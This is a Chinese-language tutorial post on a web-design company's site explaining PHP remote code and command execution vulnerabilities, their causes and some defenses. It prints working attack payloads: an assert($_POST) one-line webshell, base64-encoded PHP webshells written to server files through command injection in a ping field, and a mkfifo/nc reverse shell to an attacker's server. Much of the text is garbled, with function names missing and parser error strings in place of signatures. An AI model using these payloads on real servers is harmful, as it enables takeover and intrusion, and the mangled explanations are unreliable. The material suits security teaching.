宿迁腾云网络网站建设公司

腾云网络 八年经验专注网站建设
  • 首页
  • 服务项目
    • 网站建设
    • 微信小程序
    • APP开发
    • SEO优化
  • 建站费用
  • 成功案例
    • 网站建设案例
    • 小程序案例
    • APP开发案例
    • SEO优化案例
  • 行业动态
    • 网站建设
    • SEO优化
    • 技术日志
  • 联系我们
    • 关于我们
首页 > 行业动态 > 技术日志 > PHP中RCE漏洞1.原理产生原因及解决办法(图)

PHP中RCE漏洞1.原理产生原因及解决办法(图)

2021-10-19

RCE漏洞

1.原理

原因:

应用程序没有严格检查和过滤用户输入,导致用户输入的参数作为命令执行。一般分为代码执行和命令执行。

漏洞点:

1. 代码中有命令执行功能,可以控制输入参数

2. 代码中有代码执行功能,可以控制输入参数

3.网站存在历史漏洞(网站本身,各种组件)

2.使用2.1.代码执行

概述:

由于业务需求php代码执行漏洞,有时需要调用一些函数来执行PHP中的命令php代码执行漏洞,如:eval()、()、()、()等,如果有函数使用这些函数,不检查并过滤出用户可以控制的参数,那么这个页面就可能存在远程代码执行漏洞。小于php7的拼接后依然可以执行,但是eval不行。

2.1.1.eval 函数

eval($code) 将字符串代码作为 PHP 代码执行

 

注意:传入eval()函数的参数必须是PHP代码,即必须以分号结尾;

函数 eval() 语言结构非常危险,因为它允许执行任意 PHP 代码。

不允许任何用户提供的未经完全验证的数据。

2.1.2.功能

($[, $])

检查断言是否为真。如果是字符串,则作为 PHP 代码通过 () 执行。


注意:()函数将传入的参数作为PHP代码直接执行,不需要以分号结尾。

2.1.3.功能

($, $, $ [, int:'EOF', got'&' at 19: ...it = -1 [, int &̲ ]])

执行正则表达式搜索和替换,搜索要替换的匹配部分。

 

('规则规则','替换字符','目标字符')

PCRE修饰符e:()执行替换字符串的反向引用替换后,将替换字符串作为php代码(eval函数方法)求值执行,执行结果作为实际参与替换的字符串。

2.1.4.功能

($, $ [, $…])

():返回数组,即对每个元素应用函数后的数组。函数参数的个数和传递给()的数组个数必须相同。对数组的每个元素应用回调函数


2.1.5.功能

($args, $code)

从传递的参数创建一个匿名函数并为其返回一个唯一的名称。通常这些参数将作为单引号字符串传递。使用单引号的原因是为了保护变量名不被解析。否则,如果使用双引号,则需要对变量名进行转义,例如$avar。函数默认为 eval


2.1.6.功能

($[, $[, $…]])

第一个参数是要调用的回调函数,其余参数是回调函数的参数。调用第一个参数作为回调函数


2.1.7.功能

($, $):

调用第一个参数作为回调函数(),传入参数数组作为()作为回调函数的参数。


2.1.8.功能

($[, $[, int $flag = 0 ]])

使用回调函数过滤数组中的元素;依次将数组中的每个值传递给函数。


2.1.9.双引号


在php中,如果有双引号中的变量,php解释器会用变量解释的结果来代替。单引号中的变量不会被处理,双引号中的函数不会被执行或替换。

作为字符串执行:

echo "phpinfo()"; 

作为代码执行:

echo "{${phpinfo()}}"; 

执行一句话木马:

echo "${@assert($_POST[a])}"; 

通过post数据将木马写入服务器

echo -n 'PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+' | base64 -d > 111.php

2.2.命令执行

概述:

一般出现这种漏洞是因为应用系统需要为用户提供指定的远程命令操作接口。例如,在我们常见的路由器、防火墙、入侵检测设备等的web管理界面上,一般都会给用户提供一个ping操作的web界面,用户从web界面输入目标IP。提交后,后台会对IP地址进行ping测试并返回测试结果。但是,如果设计者在完成该功能时没有实施严格的安全控制,可能会导致攻击者通过该接口提交恶意命令在后台执行,从而获取后台服务器的权限。

使用PHP的系统命令执行功能调用系统命令并执行。此类函数包括()、exec()、()、()、()、()、()等,除了反引号命令执行外,这种方式其实就是调用()函数来执行。

system():执行外部程序,并且显示输出; 
exec():执行一个外部程序 
shell_exec():通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。 
passthru():执行unix系统命令并且显示原始输出 
pcntl_exec():在当前进程空间执行指定程序 
popen():打开进程文件指针 
proc_open():执行一个命令,并且打开用来输入/输出的文件指针。

2.2.1.exec 函数

exec (:'EOF', got'&' at 18:... [, &̲ [, int &$ ]])

执行外部程序,exec()执行参数指定的命令。


exec 在执行系统外部命令时不输出结果,而是返回结果的最后一行。

如果要获取结果,可以使用第二个参数将其输出到指定的数组。此数组中的一条记录代表一行输出。

2.2.2.功能

(:'EOF', got'&' at 16: [, int &̲])

该函数执行参数指定的命令并输出执行结果。

与exec不同的是,在执行系统外部命令时,结果直接输出到浏览器,如果命令执行成功则返回true,否则返回。


2.2.3.功能

(:'EOF', got'&' at 16: [, int &̲])

执行外部程序并显示原始输出,类似于exec()函数,()函数也用于执行外部命令()。当执行的Unix命令输出二进制数据,需要直接传输到浏览器时,需要用这个函数来代替exec()或()函数。

区别在于:直接将结果输出到浏览器,不返回任何值,可以输出二进制,比如图片数据。第二个参数是可选的,是状态码。

";
echo $b;
?>

命令执行成功返回0,执行不成功返回1

2.2.4.功能

($cmd)

通过环境执行命令并以字符串形式返回完整的输出。

此函数与执行运算符 (`) 相同

$output

"; echo `$cmd`; ?>

输出是一样的。

2.2.5. 命令执行常用特殊字符

cmd1|cmd2:无论cmd1是否执行成功,都会执行cmd2

cmd1; cmd2:无论cmd1是否执行成功,都会执行cmd2

cmd1||cmd2:只有在cmd1执行失败时才执行cmd2

cmd1&&cmd2:cmd1执行成功后才执行

2.2.6.

写:

127.0.0.1|echo "" > ./sys/1.php      双引号会解析变量导致一句话木马缺失,可以使用\转义变量进行写入 也可以使用单引号闭合
127.0.0.1|echo ""> ./sys/3.php 
127.0.0.1|echo "PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==" | base64 -d > ./sys/2.php 

nc反弹:

127.0.0.1;mkfifo /tmp/pipe;sh /tmp/pipe | nc 服务器ip 4444 > /tmp/pipe
nc lvvp 4444

3.伤害

1. 继承Web服务程序执行系统命令或读写文件的权限

2. 反弹并获得目标服务器的访问权限

3. 进一步渗透内网

4.防御

1.尽量不要执行外部命令。

2.使用自定义函数或函数库替换外部命令的函数。

3.使用 ||arg 函数处理命令参数。

4.使用指定的可执行文件的路径(指定路径的时候可以提前把要使用的命令放到这个路径中)。

Tag: php
网站制作公众号

宿迁腾云网络网站建设公司 | 网站开发 | 网站制作 | 网站优化

咨询电话:13160355545

上一篇

返回栏目

下一篇

免责声明:本站所有文章和图片均来自用户分享和网络收集,文章和图片版权归原作者及原出处所有,仅供学习与参考,请勿用于商业用途,如果损害了您的权利,请联系网站客服处理。

热推

  • 又有新语言了?“扶我起来,还能学”
  • 关于开发语言(是什么语言,主要应用在哪些开发?)
  • php采集代码前几天做了个小说连载的程序,抓取别人网页内容php采集百度新闻标题
  • 应用编程接口发行商和Inc.宣布合并组建全球最大应用接口市场
  • 微信公众平台php开发 微信团队宣布公众平台将新增素材管理接口(图) 微信公众平台开发教程 php
  • php微信企业号开发这是:微信企业号的光荣与梦想(组图)php 微信企业号开发
  • 国内php框架中国唯一PHP语言官方开发组成员惠新宸加入新浪微博技术团队国内php框架排行
  • THINKPHP 5 的基本模型关联
  • php面向对象编程教程互联网Lua语言的特点和亮点语言介绍python面对对象编程和函数式编程
  • php oa开发开源OA最大的优势是“开放性”,你知道吗? 后盾php视频教程第一部之php博客项目实战开发

相关

了解常见PHP应用程序安全威胁,掌握6个常见安全性攻击

了解常见PHP应用程序安全威胁,掌握6个常见安全性攻击

如何查看php版本?多种方法助你快速知晓

如何查看php版本?多种方法助你快速知晓

PHP格式化:提升代码质量与协作效率的关键规则

如何查看虚拟主机上的 PHP 版本?这篇文章告诉你

Linux 系统管理员和 web 开发者必知:如何查看 PH

Linux 系统管理员和 web 开发者必知:如何查看 PH

免费开源的轻量级 PHP 开发框架 ThinkPHP,遵循

从零开始开发完整网站:前端、后端与 Web 服务器的关键技术

php框架 Java 与 PHP 之争:为何懂技术的大佬选

BitDefender 发布超级工厂病毒专杀工具,可清除所有

asp语言与php语言的区别 前端和后端的区别,你真的了解吗

标签

seo(1182) 市场营销(661) 网站制作(573) 网站建设(564) 搜索引擎(553) 网站(482) PHP(361) 编程语言(345) 建站(294) 关键词排名优化(267) 网站建设公司(245) 优化(216) seo排名(207) 域名(190) 软件(171) 网站优化(148) 搜索引擎优化(146) 外链(141) 科技(136) 网站关键词(124) 网站排名优化(123) 域名服务器(120) 网站排名(107) 时政(103) 排名优化(95) 搜索引擎收录(93) 网站设计(92) 电子商务(88) 引擎(86) 移动互联网(85) 开发框架(79) 开发(75) 网站服务器(74) 框架(68) 前端开发(68) 网站分析(66) 网站建设方案(65) 关键(64) 流量(63) 源码(62) 百度优化(62) 网站权重(61) 开放源代码(59) seo培训(53) 网页设计(51) 百度(51) php框架(50) 网站建设知识(50) 大数据(50) 谷歌(49)
宿迁腾云网络网站建设公司
网站建设
  • 私人定制
  • 标准模板建站
  • 经济模板建站
精品模板

宿迁腾云网络网站建设公司

联系电话:13160355545

公司地址:江苏省宿迁市丽景湾华庭北门都市花园公寓9楼907

联系邮箱:admin@tyweb.net

全国分站
  • 北京
  • 广东
  • 东莞 广州 中山 深圳 惠州 江门 珠海 汕头 佛山 湛江 河源 肇庆 潮州 清远 韶关 揭阳 阳江 云浮 茂名 梅州 汕尾
  • 山东
  • 济南 青岛 临沂 济宁 菏泽 烟台 泰安 淄博 潍坊 日照 威海 滨州 东营 聊城 德州 莱芜 枣庄
  • 江苏
  • 苏州 徐州 盐城 无锡 南京 南通 连云港 常州 扬州 镇江 淮安 泰州 宿迁
  • 河南
  • 郑州 南阳 新乡 安阳 洛阳 信阳 平顶山 周口 商丘 开封 焦作 驻马店 濮阳 三门峡 漯河 许昌 鹤壁 济源
  • 上海
  • 河北
  • 石家庄 唐山 保定 邯郸 邢台 沧州 秦皇岛 张家口 衡水 廊坊 承德
  • 浙江
  • 温州 宁波 杭州 台州 嘉兴 金华 湖州 绍兴 舟山 丽水 衢州
  • 陕西
  • 西安 咸阳 宝鸡 汉中 渭南 安康 榆林 商洛 延安 铜川
  • 湖南
  • 长沙 邵阳 常德 衡阳 株洲 湘潭 永州 岳阳 怀化 郴州 娄底 益阳 张家界 湘西
  • 重庆
  • 福建
  • 漳州 泉州 厦门 福州 莆田 宁德 三明 南平 龙岩
  • 天津
  • 云南
  • 昆明 红河 大理 文山 德宏 曲靖 昭通 楚雄 保山 玉溪 丽江 临沧 思茅 西双版纳 怒江 迪庆
  • 四川
  • 成都 绵阳 广元 达州 南充 德阳 广安 阿坝 巴中 遂宁 内江 凉山 攀枝花 乐山 自贡 泸州 雅安 宜宾 资阳 眉山 甘孜
  • 广西
  • 贵港 玉林 北海 南宁 柳州 桂林 梧州 钦州 来宾 河池 百色 贺州 崇左 防城港
  • 安徽
  • 芜湖 合肥 六安 宿州 阜阳 安庆 马鞍山 蚌埠 淮北 淮南 宣城 黄山 铜陵 亳州 池州 巢湖 滁州
  • 海南
  • 三亚 海口 琼海 文昌 东方
  • 江西
  • 南昌 赣州 上饶 吉安 九江 新余 抚州 宜春 景德镇 萍乡 鹰潭
  • 湖北
  • 武汉 宜昌 襄樊 荆州 恩施 孝感 黄冈 十堰 咸宁 黄石 仙桃 随州 天门 荆门 潜江 鄂州 神农架
  • 山西
  • 太原 大同 运城 长治 晋城 忻州 临汾 吕梁 晋中 阳泉 朔州
  • 辽宁
  • 大连 沈阳 丹东 辽阳 葫芦岛 锦州 朝阳 营口 鞍山 抚顺 阜新 本溪 盘锦 铁岭
  • 黑龙江
  • 齐齐哈尔 哈尔滨 大庆 佳木斯 双鸭山 牡丹江 鸡西 黑河 绥化 鹤岗 伊春 大兴安岭 七台河
  • 内蒙古
  • 赤峰 包头 通辽 呼和浩特 乌海 鄂尔多斯 呼伦贝尔
  • 贵州
  • 贵阳 黔东 黔南 遵义 黔西 毕节 铜仁 安顺 六盘水
  • 甘肃
  • 兰州 天水 庆阳 武威 酒泉 张掖 陇南 白银 定西 平凉 嘉峪关 临夏 金昌 甘南
  • 青海
  • 西宁 海西 海东 海北 果洛 玉树 黄南
  • 新疆
  • 乌鲁木齐 伊犁 昌吉 石河子 哈密
  • 西藏
  • 拉萨 山南 林芝 日喀则
  • 吉林
  • 长春 白山 白城 延边 松原 辽源 通化 四平
  • 宁夏
  • 银川 吴忠 中卫 石嘴山 固原
SiteMap
网站地图
TAG标签
Copyright © 2017-2025 TYWEB.NET 宿迁腾云网络科技有限公司 ALL RIGHTS RESERVED.   苏ICP备17033535号-1

热门搜索

百度 下载 2025 2024 2026 货源 货货源 虚拟 禅道 报名 金蝶KIS旗舰版
  • 客服

    在线客服

  • 电话

    13160355545

  • 微信

精品模板
建站费用
成功案例
联系我们